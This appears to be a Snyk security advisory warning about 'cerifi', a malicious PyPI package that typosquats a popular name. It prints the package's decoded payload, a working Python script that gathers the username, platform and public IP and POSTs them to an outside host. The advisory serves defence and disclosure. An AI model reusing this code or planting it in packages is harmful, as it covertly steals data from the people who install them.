Snyk has a published code exploit for this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsAvoid using all malicious instances of the cerifi
package.
cerifi is a malicious package.
It attempts typosquatting popular packages. The malicious script is base64 obfuscated (located in __init__.py
file) and tries to steal the current username, platform and IP information and send them to a remote host.
import getpass
import json
import os
import platform
from urllib import request
req = request.Request("https://cyberresearch.pythonanywhere.com/log", method="POST")
req.add_header("Content-Type", "application/json")
data = json.dumps(
{
"package": __file__.split(os.sep)[-2],
"user": getpass.getuser(),
"system": platform.platform(),
"ip": request.urlopen('https://ident.me').read().decode()
}
)
data = data.encode()
r = request.urlopen(req, data=data)